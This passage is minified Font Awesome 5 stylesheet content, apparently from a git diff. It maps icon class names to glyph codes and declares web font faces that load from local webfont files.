wink-heart:before{content:"\f598"}.fa-kiwi-bird:before{content:"\f535"}.fa-korvue:before{content:"\f42f"}.fa-landmark:before{content:"\f66f"}.fa-language:before{content:"\f1ab"}.fa-laptop:before{content:"\f109"}.fa-laptop-code:before{content:"\f5fc"}.fa-laptop-house:before{content:"\f966"}.fa-laptop-medical:before{content:"\f812"}.fa-laravel:before{content:"\f3bd"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-laugh:before{content:"\f599"}.fa-laugh-beam:before{content:"\f59a"}.fa-laugh-squint:before{content:"\f59b"}.fa-laugh-wink:before{content:"\f59c"}.fa-layer-group:before{content:"\f5fd"}.fa-leaf:before{content:"\f06c"}.fa-leanpub:before{content:"\f212"}.fa-lemon:before{content:"\f094"}.fa-less:before{content:"\f41d"}.fa-less-than:before{content:"\f536"}.fa-less-than-equal:before{content:"\f537"}.fa-level-down-alt:before{content:"\f3be"}.fa-level-up-alt:before{content:"\f3bf"}.fa-life-ring:before{content:"\f1cd"}.fa-lightbulb:before{content:"\f0eb"}.fa-line:before{content:"\f3c0"}.fa-link:before{content:"\f0c1"}.fa-linkedin:before{content:"\f08c"}.fa-linkedin-in:before{content:"\f0e1"}.fa-linode:before{content:"\f2b8"}.fa-linux:before{content:"\f17c"}.fa-lira-sign:before{content:"\f195"}.fa-list:before{content:"\f03a"}.fa-list-alt:before{content:"\f022"}.fa-list-ol:before{content:"\f0cb"}.fa-list-ul:before{content:"\f0ca"}.fa-location-arrow:before{content:"\f124"}.fa-lock:before{content:"\f023"}.fa-lock-open:before{content:"\f3c1"}.fa-long-arrow-alt-down:before{content:"\f309"}.fa-long-arrow-alt-left:before{content:"\f30a"}.fa-long-arrow-alt-right:before{content:"\f30b"}.fa-long-arrow-alt-up:before{content:"\f30c"}.fa-low-vision:before{content:"\f2a8"}.fa-luggage-cart:before{content:"\f59d"}.fa-lungs:before{content:"\f604"}.fa-lungs-virus:before{content:"\f967"}.fa-lyft:before{content:"\f3c3"}.fa-magento:before{content:"\f3c4"}.fa-magic:before{content:"\f0d0"}.fa-magnet:before{content:"\f076"}.fa-mail-bulk:before{content:"\f674"}.fa-mailchimp:before{content:"\f59e"}.fa-male:before{content:"\f183"}.fa-mandalorian:before{content:"\f50f"}.fa-map:before{content:"\f279"}.fa-map-marked:before{content:"\f59f"}.fa-map-marked-alt:before{content:"\f5a0"}.fa-map-marker:before{content:"\f041"}.fa-map-marker-alt:before{content:"\f3c5"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-markdown:before{content:"\f60f"}.fa-marker:before{content:"\f5a1"}.fa-mars:before{content:"\f222"}.fa-mars-double:before{content:"\f227"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mask:before{content:"\f6fa"}.fa-mastodon:before{content:"\f4f6"}.fa-maxcdn:before{content:"\f136"}.fa-mdb:before{content:"\f8ca"}.fa-medal:before{content:"\f5a2"}.fa-medapps:before{content:"\f3c6"}.fa-medium:before{content:"\f23a"}.fa-medium-m:before{content:"\f3c7"}.fa-medkit:before{content:"\f0fa"}.fa-medrt:before{content:"\f3c8"}.fa-meetup:before{content:"\f2e0"}.fa-megaport:before{content:"\f5a3"}.fa-meh:before{content:"\f11a"}.fa-meh-blank:before{content:"\f5a4"}.fa-meh-rolling-eyes:before{content:"\f5a5"}.fa-memory:before{content:"\f538"}.fa-mendeley:before{content:"\f7b3"}.fa-menorah:before{content:"\f676"}.fa-mercury:before{content:"\f223"}.fa-meteor:before{content:"\f753"}.fa-microblog:before{content:"\f91a"}.fa-microchip:before{content:"\f2db"}.fa-microphone:before{content:"\f130"}.fa-microphone-alt:before{content:"\f3c9"}.fa-microphone-alt-slash:before{content:"\f539"}.fa-microphone-slash:before{content:"\f131"}.fa-microscope:before{content:"\f610"}.fa-microsoft:before{content:"\f3ca"}.fa-minus:before{content:"\f068"}.fa-minus-circle:before{content:"\f056"}.fa-minus-square:before{content:"\f146"}.fa-mitten:before{content:"\f7b5"}.fa-mix:before{content:"\f3cb"}.fa-mixcloud:before{content:"\f289"}.fa-mixer:before{content:"\f956"}.fa-mizuni:before{content:"\f3cc"}.fa-mobile:before{content:"\f10b"}.fa-mobile-alt:before{content:"\f3cd"}.fa-modx:before{content:"\f285"}.fa-monero:before{content:"\f3d0"}.fa-money-bill:before{content:"\f0d6"}.fa-money-bill-alt:before{content:"\f3d1"}.fa-money-bill-wave:before{content:"\f53a"}.fa-money-bill-wave-alt:before{content:"\f53b"}.fa-money-check:before{content:"\f53c"}.fa-money-check-alt:before{content:"\f53d"}.fa-monument:before{content:"\f5a6"}.fa-moon:before{content:"\f186"}.fa-mortar-pestle:before{content:"\f5a7"}.fa-mosque:before{content:"\f678"}.fa-motorcycle:before{content:"\f21c"}.fa-mountain:before{content:"\f6fc"}.fa-mouse:before{content:"\f8cc"}.fa-mouse-pointer:before{content:"\f245"}.fa-mug-hot:before{content:"\f7b6"}.fa-music:before{content:"\f001"}.fa-napster:before{content:"\f3d2"}.fa-neos:before{content:"\f612"}.fa-network-wired:before{content:"\f6ff"}.fa-neuter:before{content:"\f22c"}.fa-newspaper:before{content:"\f1ea"}.fa-nimblr:before{content:"\f5a8"}.fa-node:before{content:"\f419"}.fa-node-js:before{content:"\f3d3"}.fa-not-equal:before{content:"\f53e"}.fa-notes-medical:before{content:"\f481"}.fa-npm:before{content:"\f3d4"}.fa-ns8:before{content:"\f3d5"}.fa-nutritionix:before{content:"\f3d6"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-oil-can:before{content:"\f613"}.fa-old-republic:before{content:"\f510"}.fa-om:before{content:"\f679"}.fa-opencart:before{content:"\f23d"}.fa-openid:before{content:"\f19b"}.fa-opera:before{content:"\f26a"}.fa-optin-monster:before{content:"\f23c"}.fa-orcid:before{content:"\f8d2"}.fa-osi:before{content:"\f41a"}.fa-otter:before{content:"\f700"}.fa-outdent:before{content:"\f03b"}.fa-page4:before{content:"\f3d7"}.fa-pagelines:before{content:"\f18c"}.fa-pager:before{content:"\f815"}.fa-paint-brush:before{content:"\f1fc"}.fa-paint-roller:before{content:"\f5aa"}.fa-palette:before{content:"\f53f"}.fa-palfed:before{content:"\f3d8"}.fa-pallet:before{content:"\f482"}.fa-paper-plane:before{content:"\f1d8"}.fa-paperclip:before{content:"\f0c6"}.fa-parachute-box:before{content:"\f4cd"}.fa-paragraph:before{content:"\f1dd"}.fa-parking:before{content:"\f540"}.fa-passport:before{content:"\f5ab"}.fa-pastafarianism:before{content:"\f67b"}.fa-paste:before{content:"\f0ea"}.fa-patreon:before{content:"\f3d9"}.fa-pause:before{content:"\f04c"}.fa-pause-circle:before{content:"\f28b"}.fa-paw:before{content:"\f1b0"}.fa-paypal:before{content:"\f1ed"}.fa-peace:before{content:"\f67c"}.fa-pen:before{content:"\f304"}.fa-pen-alt:before{content:"\f305"}.fa-pen-fancy:before{content:"\f5ac"}.fa-pen-nib:before{content:"\f5ad"}.fa-pen-square:before{content:"\f14b"}.fa-pencil-alt:before{content:"\f303"}.fa-pencil-ruler:before{content:"\f5ae"}.fa-penny-arcade:before{content:"\f704"}.fa-people-arrows:before{content:"\f968"}.fa-people-carry:before{content:"\f4ce"}.fa-pepper-hot:before{content:"\f816"}.fa-percent:before{content:"\f295"}.fa-percentage:before{content:"\f541"}.fa-periscope:before{content:"\f3da"}.fa-person-booth:before{content:"\f756"}.fa-phabricator:before{content:"\f3db"}.fa-phoenix-framework:before{content:"\f3dc"}.fa-phoenix-squadron:before{content:"\f511"}.fa-phone:before{content:"\f095"}.fa-phone-alt:before{content:"\f879"}.fa-phone-slash:before{content:"\f3dd"}.fa-phone-square:before{content:"\f098"}.fa-phone-square-alt:before{content:"\f87b"}.fa-phone-volume:before{content:"\f2a0"}.fa-photo-video:before{content:"\f87c"}.fa-php:before{content:"\f457"}.fa-pied-piper:before{content:"\f2ae"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-pied-piper-hat:before{content:"\f4e5"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-square:before{content:"\f91e"}.fa-piggy-bank:before{content:"\f4d3"}.fa-pills:before{content:"\f484"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-p:before{content:"\f231"}.fa-pinterest-square:before{content:"\f0d3"}.fa-pizza-slice:before{content:"\f818"}.fa-place-of-worship:before{content:"\f67f"}.fa-plane:before{content:"\f072"}.fa-plane-arrival:before{content:"\f5af"}.fa-plane-departure:before{content:"\f5b0"}.fa-plane-slash:before{content:"\f969"}.fa-play:before{content:"\f04b"}.fa-play-circle:before{content:"\f144"}.fa-playstation:before{content:"\f3df"}.fa-plug:before{content:"\f1e6"}.fa-plus:before{content:"\f067"}.fa-plus-circle:before{content:"\f055"}.fa-plus-square:before{content:"\f0fe"}.fa-podcast:before{content:"\f2ce"}.fa-poll:before{content:"\f681"}.fa-poll-h:before{content:"\f682"}.fa-poo:before{content:"\f2fe"}.fa-poo-storm:before{content:"\f75a"}.fa-poop:before{content:"\f619"}.fa-portrait:before{content:"\f3e0"}.fa-pound-sign:before{content:"\f154"}.fa-power-off:before{content:"\f011"}.fa-pray:before{content:"\f683"}.fa-praying-hands:before{content:"\f684"}.fa-prescription:before{content:"\f5b1"}.fa-prescription-bottle:before{content:"\f485"}.fa-prescription-bottle-alt:before{content:"\f486"}.fa-print:before{content:"\f02f"}.fa-procedures:before{content:"\f487"}.fa-product-hunt:before{content:"\f288"}.fa-project-diagram:before{content:"\f542"}.fa-pump-medical:before{content:"\f96a"}.fa-pump-soap:before{content:"\f96b"}.fa-pushed:before{content:"\f3e1"}.fa-puzzle-piece:before{content:"\f12e"}.fa-python:before{content:"\f3e2"}.fa-qq:before{content:"\f1d6"}.fa-qrcode:before{content:"\f029"}.fa-question:before{content:"\f128"}.fa-question-circle:before{content:"\f059"}.fa-quidditch:before{content:"\f458"}.fa-quinscape:before{content:"\f459"}.fa-quora:before{content:"\f2c4"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-quran:before{content:"\f687"}.fa-r-project:before{content:"\f4f7"}.fa-radiation:before{content:"\f7b9"}.fa-radiation-alt:before{content:"\f7ba"}.fa-rainbow:before{content:"\f75b"}.fa-random:before{content:"\f074"}.fa-raspberry-pi:before{content:"\f7bb"}.fa-ravelry:before{content:"\f2d9"}.fa-react:before{content:"\f41b"}.fa-reacteurope:before{content:"\f75d"}.fa-readme:before{content:"\f4d5"}.fa-rebel:before{content:"\f1d0"}.fa-receipt:before{content:"\f543"}.fa-record-vinyl:before{content:"\f8d9"}.fa-recycle:before{content:"\f1b8"}.fa-red-river:before{content:"\f3e3"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-alien:before{content:"\f281"}.fa-reddit-square:before{content:"\f1a2"}.fa-redhat:before{content:"\f7bc"}.fa-redo:before{content:"\f01e"}.fa-redo-alt:before{content:"\f2f9"}.fa-registered:before{content:"\f25d"}.fa-remove-format:before{content:"\f87d"}.fa-renren:before{content:"\f18b"}.fa-reply:before{content:"\f3e5"}.fa-reply-all:before{content:"\f122"}.fa-replyd:before{content:"\f3e6"}.fa-republican:before{content:"\f75e"}.fa-researchgate:before{content:"\f4f8"}.fa-resolving:before{content:"\f3e7"}.fa-restroom:before{content:"\f7bd"}.fa-retweet:before{content:"\f079"}.fa-rev:before{content:"\f5b2"}.fa-ribbon:before{content:"\f4d6"}.fa-ring:before{content:"\f70b"}.fa-road:before{content:"\f018"}.fa-robot:before{content:"\f544"}.fa-rocket:before{content:"\f135"}.fa-rocketchat:before{content:"\f3e8"}.fa-rockrms:before{content:"\f3e9"}.fa-route:before{content:"\f4d7"}.fa-rss:before{content:"\f09e"}.fa-rss-square:before{content:"\f143"}.fa-ruble-sign:before{content:"\f158"}.fa-ruler:before{content:"\f545"}.fa-ruler-combined:before{content:"\f546"}.fa-ruler-horizontal:before{content:"\f547"}.fa-ruler-vertical:before{content:"\f548"}.fa-running:before{content:"\f70c"}.fa-rupee-sign:before{content:"\f156"}.fa-sad-cry:before{content:"\f5b3"}.fa-sad-tear:before{content:"\f5b4"}.fa-safari:before{content:"\f267"}.fa-salesforce:before{content:"\f83b"}.fa-sass:before{content:"\f41e"}.fa-satellite:before{content:"\f7bf"}.fa-satellite-dish:before{content:"\f7c0"}.fa-save:before{content:"\f0c7"}.fa-schlix:before{content:"\f3ea"}.fa-school:before{content:"\f549"}.fa-screwdriver:before{content:"\f54a"}.fa-scribd:before{content:"\f28a"}.fa-scroll:before{content:"\f70e"}.fa-sd-card:before{content:"\f7c2"}.fa-search:before{content:"\f002"}.fa-search-dollar:before{content:"\f688"}.fa-search-location:before{content:"\f689"}.fa-search-minus:before{content:"\f010"}.fa-search-plus:before{content:"\f00e"}.fa-searchengin:before{content:"\f3eb"}.fa-seedling:before{content:"\f4d8"}.fa-sellcast:before{content:"\f2da"}.fa-sellsy:before{content:"\f213"}.fa-server:before{content:"\f233"}.fa-servicestack:before{content:"\f3ec"}.fa-shapes:before{content:"\f61f"}.fa-share:before{content:"\f064"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-share-square:before{content:"\f14d"}.fa-shekel-sign:before{content:"\f20b"}.fa-shield-alt:before{content:"\f3ed"}.fa-shield-virus:before{content:"\f96c"}.fa-ship:before{content:"\f21a"}.fa-shipping-fast:before{content:"\f48b"}.fa-shirtsinbulk:before{content:"\f214"}.fa-shoe-prints:before{content:"\f54b"}.fa-shopify:before{content:"\f957"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-shopping-cart:before{content:"\f07a"}.fa-shopware:before{content:"\f5b5"}.fa-shower:before{content:"\f2cc"}.fa-shuttle-van:before{content:"\f5b6"}.fa-sign:before{content:"\f4d9"}.fa-sign-in-alt:before{content:"\f2f6"}.fa-sign-language:before{content:"\f2a7"}.fa-sign-out-alt:before{content:"\f2f5"}.fa-signal:before{content:"\f012"}.fa-signature:before{content:"\f5b7"}.fa-sim-card:before{content:"\f7c4"}.fa-simplybuilt:before{content:"\f215"}.fa-sistrix:before{content:"\f3ee"}.fa-sitemap:before{content:"\f0e8"}.fa-sith:before{content:"\f512"}.fa-skating:before{content:"\f7c5"}.fa-sketch:before{content:"\f7c6"}.fa-skiing:before{content:"\f7c9"}.fa-skiing-nordic:before{content:"\f7ca"}.fa-skull:before{content:"\f54c"}.fa-skull-crossbones:before{content:"\f714"}.fa-skyatlas:before{content:"\f216"}.fa-skype:before{content:"\f17e"}.fa-slack:before{content:"\f198"}.fa-slack-hash:before{content:"\f3ef"}.fa-slash:before{content:"\f715"}.fa-sleigh:before{content:"\f7cc"}.fa-sliders-h:before{content:"\f1de"}.fa-slideshare:before{content:"\f1e7"}.fa-smile:before{content:"\f118"}.fa-smile-beam:before{content:"\f5b8"}.fa-smile-wink:before{content:"\f4da"}.fa-smog:before{content:"\f75f"}.fa-smoking:before{content:"\f48d"}.fa-smoking-ban:before{content:"\f54d"}.fa-sms:before{content:"\f7cd"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-snowboarding:before{content:"\f7ce"}.fa-snowflake:before{content:"\f2dc"}.fa-snowman:before{content:"\f7d0"}.fa-snowplow:before{content:"\f7d2"}.fa-soap:before{content:"\f96e"}.fa-socks:before{content:"\f696"}.fa-solar-panel:before{content:"\f5ba"}.fa-sort:before{content:"\f0dc"}.fa-sort-alpha-down:before{content:"\f15d"}.fa-sort-alpha-down-alt:before{content:"\f881"}.fa-sort-alpha-up:before{content:"\f15e"}.fa-sort-alpha-up-alt:before{content:"\f882"}.fa-sort-amount-down:before{content:"\f160"}.fa-sort-amount-down-alt:before{content:"\f884"}.fa-sort-amount-up:before{content:"\f161"}.fa-sort-amount-up-alt:before{content:"\f885"}.fa-sort-down:before{content:"\f0dd"}.fa-sort-numeric-down:before{content:"\f162"}.fa-sort-numeric-down-alt:before{content:"\f886"}.fa-sort-numeric-up:before{content:"\f163"}.fa-sort-numeric-up-alt:before{content:"\f887"}.fa-sort-up:before{content:"\f0de"}.fa-soundcloud:before{content:"\f1be"}.fa-sourcetree:before{content:"\f7d3"}.fa-spa:before{content:"\f5bb"}.fa-space-shuttle:before{content:"\f197"}.fa-speakap:before{content:"\f3f3"}.fa-speaker-deck:before{content:"\f83c"}.fa-spell-check:before{content:"\f891"}.fa-spider:before{content:"\f717"}.fa-spinner:before{content:"\f110"}.fa-splotch:before{content:"\f5bc"}.fa-spotify:before{content:"\f1bc"}.fa-spray-can:before{content:"\f5bd"}.fa-square:before{content:"\f0c8"}.fa-square-full:before{content:"\f45c"}.fa-square-root-alt:before{content:"\f698"}.fa-squarespace:before{content:"\f5be"}.fa-stack-exchange:before{content:"\f18d"}.fa-stack-overflow:before{content:"\f16c"}.fa-stackpath:before{content:"\f842"}.fa-stamp:before{content:"\f5bf"}.fa-star:before{content:"\f005"}.fa-star-and-crescent:before{content:"\f699"}.fa-star-half:before{content:"\f089"}.fa-star-half-alt:before{content:"\f5c0"}.fa-star-of-david:before{content:"\f69a"}.fa-star-of-life:before{content:"\f621"}.fa-staylinked:before{content:"\f3f5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-steam-symbol:before{content:"\f3f6"}.fa-step-backward:before{content:"\f048"}.fa-step-forward:before{content:"\f051"}.fa-stethoscope:before{content:"\f0f1"}.fa-sticker-mule:before{content:"\f3f7"}.fa-sticky-note:before{content:"\f249"}.fa-stop:before{content:"\f04d"}.fa-stop-circle:before{content:"\f28d"}.fa-stopwatch:before{content:"\f2f2"}.fa-stopwatch-20:before{content:"\f96f"}.fa-store:before{content:"\f54e"}.fa-store-alt:before{content:"\f54f"}.fa-store-alt-slash:before{content:"\f970"}.fa-store-slash:before{content:"\f971"}.fa-strava:before{content:"\f428"}.fa-stream:before{content:"\f550"}.fa-street-view:before{content:"\f21d"}.fa-strikethrough:before{content:"\f0cc"}.fa-stripe:before{content:"\f429"}.fa-stripe-s:before{content:"\f42a"}.fa-stroopwafel:before{content:"\f551"}.fa-studiovinari:before{content:"\f3f8"}.fa-stumbleupon:before{content:"\f1a4"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-subscript:before{content:"\f12c"}.fa-subway:before{content:"\f239"}.fa-suitcase:before{content:"\f0f2"}.fa-suitcase-rolling:before{content:"\f5c1"}.fa-sun:before{content:"\f185"}.fa-superpowers:before{content:"\f2dd"}.fa-superscript:before{content:"\f12b"}.fa-supple:before{content:"\f3f9"}.fa-surprise:before{content:"\f5c2"}.fa-suse:before{content:"\f7d6"}.fa-swatchbook:before{content:"\f5c3"}.fa-swift:before{content:"\f8e1"}.fa-swimmer:before{content:"\f5c4"}.fa-swimming-pool:before{content:"\f5c5"}.fa-symfony:before{content:"\f83d"}.fa-synagogue:before{content:"\f69b"}.fa-sync:before{content:"\f021"}.fa-sync-alt:before{content:"\f2f1"}.fa-syringe:before{content:"\f48e"}.fa-table:before{content:"\f0ce"}.fa-table-tennis:before{content:"\f45d"}.fa-tablet:before{content:"\f10a"}.fa-tablet-alt:before{content:"\f3fa"}.fa-tablets:before{content:"\f490"}.fa-tachometer-alt:before{content:"\f3fd"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-tape:before{content:"\f4db"}.fa-tasks:before{content:"\f0ae"}.fa-taxi:before{content:"\f1ba"}.fa-teamspeak:before{content:"\f4f9"}.fa-teeth:before{content:"\f62e"}.fa-teeth-open:before{content:"\f62f"}.fa-telegram:before{content:"\f2c6"}.fa-telegram-plane:before{content:"\f3fe"}.fa-temperature-high:before{content:"\f769"}.fa-temperature-low:before{content:"\f76b"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-tenge:before{content:"\f7d7"}.fa-terminal:before{content:"\f120"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-th:before{content:"\f00a"}.fa-th-large:before{content:"\f009"}.fa-th-list:before{content:"\f00b"}.fa-the-red-yeti:before{content:"\f69d"}.fa-theater-masks:before{content:"\f630"}.fa-themeco:before{content:"\f5c6"}.fa-themeisle:before{content:"\f2b2"}.fa-thermometer:before{content:"\f491"}.fa-thermometer-empty:before{content:"\f2cb"}.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-think-peaks:before{content:"\f731"}.fa-thumbs-down:before{content:"\f165"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbtack:before{content:"\f08d"}.fa-ticket-alt:before{content:"\f3ff"}.fa-times:before{content:"\f00d"}.fa-times-circle:before{content:"\f057"}.fa-tint:before{content:"\f043"}.fa-tint-slash:before{content:"\f5c7"}.fa-tired:before{content:"\f5c8"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-toilet:before{content:"\f7d8"}.fa-toilet-paper:before{content:"\f71e"}.fa-toilet-paper-slash:before{content:"\f972"}.fa-toolbox:before{content:"\f552"}.fa-tools:before{content:"\f7d9"}.fa-tooth:before{content:"\f5c9"}.fa-torah:before{content:"\f6a0"}.fa-torii-gate:before{content:"\f6a1"}.fa-tractor:before{content:"\f722"}.fa-trade-federation:before{content:"\f513"}.fa-trademark:before{content:"\f25c"}.fa-traffic-light:before{content:"\f637"}.fa-trailer:before{content:"\f941"}.fa-train:before{content:"\f238"}.fa-tram:before{content:"\f7da"}.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-trash:before{content:"\f1f8"}.fa-trash-alt:before{content:"\f2ed"}.fa-trash-restore:before{content:"\f829"}.fa-trash-restore-alt:before{content:"\f82a"}.fa-tree:before{content:"\f1bb"}.fa-trello:before{content:"\f181"}.fa-tripadvisor:before{content:"\f262"}.fa-trophy:before{content:"\f091"}.fa-truck:before{content:"\f0d1"}.fa-truck-loading:before{content:"\f4de"}.fa-truck-monster:before{content:"\f63b"}.fa-truck-moving:before{content:"\f4df"}.fa-truck-pickup:before{content:"\f63c"}.fa-tshirt:before{content:"\f553"}.fa-tty:before{content:"\f1e4"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-tv:before{content:"\f26c"}.fa-twitch:before{content:"\f1e8"}.fa-twitter:before{content:"\f099"}.fa-twitter-square:before{content:"\f081"}.fa-typo3:before{content:"\f42b"}.fa-uber:before{content:"\f402"}.fa-ubuntu:before{content:"\f7df"}.fa-uikit:before{content:"\f403"}.fa-umbraco:before{content:"\f8e8"}.fa-umbrella:before{content:"\f0e9"}.fa-umbrella-beach:before{content:"\f5ca"}.fa-underline:before{content:"\f0cd"}.fa-undo:before{content:"\f0e2"}.fa-undo-alt:before{content:"\f2ea"}.fa-uniregistry:before{content:"\f404"}.fa-unity:before{content:"\f949"}.fa-universal-access:before{content:"\f29a"}.fa-university:before{content:"\f19c"}.fa-unlink:before{content:"\f127"}.fa-unlock:before{content:"\f09c"}.fa-unlock-alt:before{content:"\f13e"}.fa-untappd:before{content:"\f405"}.fa-upload:before{content:"\f093"}.fa-ups:before{content:"\f7e0"}.fa-usb:before{content:"\f287"}.fa-user:before{content:"\f007"}.fa-user-alt:before{content:"\f406"}.fa-user-alt-slash:before{content:"\f4fa"}.fa-user-astronaut:before{content:"\f4fb"}.fa-user-check:before{content:"\f4fc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-clock:before{content:"\f4fd"}.fa-user-cog:before{content:"\f4fe"}.fa-user-edit:before{content:"\f4ff"}.fa-user-friends:before{content:"\f500"}.fa-user-graduate:before{content:"\f501"}.fa-user-injured:before{content:"\f728"}.fa-user-lock:before{content:"\f502"}.fa-user-md:before{content:"\f0f0"}.fa-user-minus:before{content:"\f503"}.fa-user-ninja:before{content:"\f504"}.fa-user-nurse:before{content:"\f82f"}.fa-user-plus:before{content:"\f234"}.fa-user-secret:before{content:"\f21b"}.fa-user-shield:before{content:"\f505"}.fa-user-slash:before{content:"\f506"}.fa-user-tag:before{content:"\f507"}.fa-user-tie:before{content:"\f508"}.fa-user-times:before{content:"\f235"}.fa-users:before{content:"\f0c0"}.fa-users-cog:before{content:"\f509"}.fa-usps:before{content:"\f7e1"}.fa-ussunnah:before{content:"\f407"}.fa-utensil-spoon:before{content:"\f2e5"}.fa-utensils:before{content:"\f2e7"}.fa-vaadin:before{content:"\f408"}.fa-vector-square:before{content:"\f5cb"}.fa-venus:before{content:"\f221"}.fa-venus-double:before{content:"\f226"}.fa-venus-mars:before{content:"\f228"}.fa-viacoin:before{content:"\f237"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-vial:before{content:"\f492"}.fa-vials:before{content:"\f493"}.fa-viber:before{content:"\f409"}.fa-video:before{content:"\f03d"}.fa-video-slash:before{content:"\f4e2"}.fa-vihara:before{content:"\f6a7"}.fa-vimeo:before{content:"\f40a"}.fa-vimeo-square:before{content:"\f194"}.fa-vimeo-v:before{content:"\f27d"}.fa-vine:before{content:"\f1ca"}.fa-virus:before{content:"\f974"}.fa-virus-slash:before{content:"\f975"}.fa-viruses:before{content:"\f976"}.fa-vk:before{content:"\f189"}.fa-vnv:before{content:"\f40b"}.fa-voicemail:before{content:"\f897"}.fa-volleyball-ball:before{content:"\f45f"}.fa-volume-down:before{content:"\f027"}.fa-volume-mute:before{content:"\f6a9"}.fa-volume-off:before{content:"\f026"}.fa-volume-up:before{content:"\f028"}.fa-vote-yea:before{content:"\f772"}.fa-vr-cardboard:before{content:"\f729"}.fa-vuejs:before{content:"\f41f"}.fa-walking:before{content:"\f554"}.fa-wallet:before{content:"\f555"}.fa-warehouse:before{content:"\f494"}.fa-water:before{content:"\f773"}.fa-wave-square:before{content:"\f83e"}.fa-waze:before{content:"\f83f"}.fa-weebly:before{content:"\f5cc"}.fa-weibo:before{content:"\f18a"}.fa-weight:before{content:"\f496"}.fa-weight-hanging:before{content:"\f5cd"}.fa-weixin:before{content:"\f1d7"}.fa-whatsapp:before{content:"\f232"}.fa-whatsapp-square:before{content:"\f40c"}.fa-wheelchair:before{content:"\f193"}.fa-whmcs:before{content:"\f40d"}.fa-wifi:before{content:"\f1eb"}.fa-wikipedia-w:before{content:"\f266"}.fa-wind:before{content:"\f72e"}.fa-window-close:before{content:"\f410"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-windows:before{content:"\f17a"}.fa-wine-bottle:before{content:"\f72f"}.fa-wine-glass:before{content:"\f4e3"}.fa-wine-glass-alt:before{content:"\f5ce"}.fa-wix:before{content:"\f5cf"}.fa-wizards-of-the-coast:before{content:"\f730"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-won-sign:before{content:"\f159"}.fa-wordpress:before{content:"\f19a"}.fa-wordpress-simple:before{content:"\f411"}.fa-wpbeginner:before{content:"\f297"}.fa-wpexplorer:before{content:"\f2de"}.fa-wpforms:before{content:"\f298"}.fa-wpressr:before{content:"\f3e4"}.fa-wrench:before{content:"\f0ad"}.fa-x-ray:before{content:"\f497"}.fa-xbox:before{content:"\f412"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-y-combinator:before{content:"\f23b"}.fa-yahoo:before{content:"\f19e"}.fa-yammer:before{content:"\f840"}.fa-yandex:before{content:"\f413"}.fa-yandex-international:before{content:"\f414"}.fa-yarn:before{content:"\f7e3"}.fa-yelp:before{content:"\f1e9"}.fa-yen-sign:before{content:"\f157"}.fa-yin-yang:before{content:"\f6ad"}.fa-yoast:before{content:"\f2b1"}.fa-youtube:before{content:"\f167"}.fa-youtube-square:before{content:"\f431"}.fa-zhihu:before{content:"\f63f"}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-brands-400.eot);src:url(../webfonts/fa-brands-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.woff) format("woff"),url(../webfonts/fa-brands-400.ttf) format("truetype"),url(../webfonts/fa-brands-400.svg#fontawesome) format("svg")}.fab{font-family:"Font Awesome 5 Brands"}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-regular-400.eot);src:url(../webfonts/fa-regular-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.woff) format("woff"),url(../webfonts/fa-regular-400.ttf) format("truetype"),url(../webfonts/fa-regular-400.svg#fontawesome) format("svg")}.fab,.far{font-weight:400}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:900;font-display:block;src:url(../webfonts/fa-solid-900.eot);src:url(../webfonts/fa-solid-900.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.woff) format("woff"),url(../webfonts/fa-solid-900.ttf) format("truetype"),url(../webfonts/fa-solid-900.svg#fontawesome) format("svg")}.fa,.far,.fas{font-family:"Font Awesome 5 Free"}.fa,.fas{font-weight:900} \ No newline at end of file diff --git 